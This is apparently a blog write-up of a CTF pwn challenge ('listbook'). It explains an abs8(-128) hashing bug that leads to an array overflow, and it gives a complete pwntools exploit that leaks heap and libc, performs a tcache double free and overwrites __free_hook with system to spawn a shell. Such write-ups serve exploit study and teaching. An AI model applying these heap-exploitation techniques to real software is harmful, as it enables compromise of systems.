Loading... 比赛和考试周相撞,所以比赛没有好好打,整场只看了这道题,比较尴尬的是最后也没看出来漏洞点。这个漏洞点让我觉得这个位置一定是个漏洞点,但是又触发不了这个洞,最后看了别人的 WP 才知道洞的位置猜对了,但是比赛时不知道为什么没触发出来。 程序的流程很简单,稍微看下就能理解,这里不多说了,题目最难的应该就是发现漏洞点了。程序实现了一个哈希表来进行 name 到 content 的映射,用链表来处理碰撞。计算哈希值的过程如下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/2668647146.png "></div> 这里的 abs8 是由 IDA 分析得出的,实际上是这样一段代码 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/07/3783925818.png "></div> 看到最后的 movsx 的时候就觉得不对劲,感觉这个 abs 是有问题的,所以尝试了一下输入负数,也就是名字为 `'\x80\n'`,事实上这个 abs8 的 bug 就是 `abs8(-128) == -128`,这样就可以触发了,但是比赛的时候多次尝试后都无果,不知道为什么,可能是看错了或者有别的问题,总之以为这就是没问题的了,遂放弃。那实际上这里可以返回 -128,就可以通过后面的数组溢出修改判断是否存在的数组,使其值变为非零,这样就可以 leak 和 double free 了。然后就可以 tcache 打 __free_hook 这样一路下去了。 ### exp exp 写的比较痛苦,由于 2.31 tcache 的 double free 有检测,所以这里选择先把被 double free 的 chunk free 到 unsortedbin 中,然后再 free 到 tcache 里。由于 free 到 tcache 的时候会破坏 unsortedbin 的 fd 和 bk,我选择再此 chunk 前后都放一个 unsortedbin 并让他们合并,合并后 free 不会触发错误,最后通过类似堆块重叠的方式实现对该 tcache UAF 打 __free_hook。其实此程序还可以 leak 堆地址,在 libc 2.32 以上的版本下也是可以绕过 Safe-Linking 实现利用的,不过这里就不需要了。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", 'splitw', '-h'] sh = process("./listbook") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("./libc-2.31.so") def add(name, content): sh.sendlineafter(">>",'1') sh.sendafter("name>", name) sh.sendafter("content>", content) def delete(idx): sh.sendlineafter(">>",'2') sh.sendlineafter("index>",str(idx)) def show(idx): sh.sendlineafter(">>",'3') sh.sendlineafter("index>",str(idx)) # leak heap add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') show(2) sh.recvuntil("0000000000000002") heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2A0 add('0000000000000000', '\x00\n') # unsorted add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') delete(2) delete(0) #add('\x08' * 0x10,'\x00\n') add('\x80\n','\x00\n') show(0) sh.recvuntil("0000000000000000 => ") libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x260 __free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] log.success("heap_base: " + hex(heap_base)) log.success("libc_base: " + hex(libc_base)) #### leak done #### add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') add('0000000000000002', '\x00\n') # clear bins; idx: 2 add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') add('0000000000000003', '\x00\n') # 7 for tcache idx: 3 add('0000000000000003', '\x00\n') # 1 for unsorted idx: 3 delete(3) add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000005', '\x00\n') # clear the tcache add('0000000000000004', '\x00\n') add('0000000000000004', '\x00\n') add('0000000000000001', '\x00\n') add('0000000000000004', '\x00\n') add('0000000000000004', '\x00\n') delete(5) # fill the tcache delete(4) delete(1) add('\x08' * 0x10,'\x00\n') add('0000000000000006', '\x00\n') add('0000000000000007', '\x00\n') delete(1) delete(6) for i in range(0x13): add('0000000000000006', '\x00\n') delete(6) add(p64(__free_hook) + '\n', '\x00\n') add('0000000000000009', '/bin/sh\n') add('0000000000000008', p64(system) + '\n') delete(9) sh.interactive() ``` 最后修改:2021 年 07 月 08 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧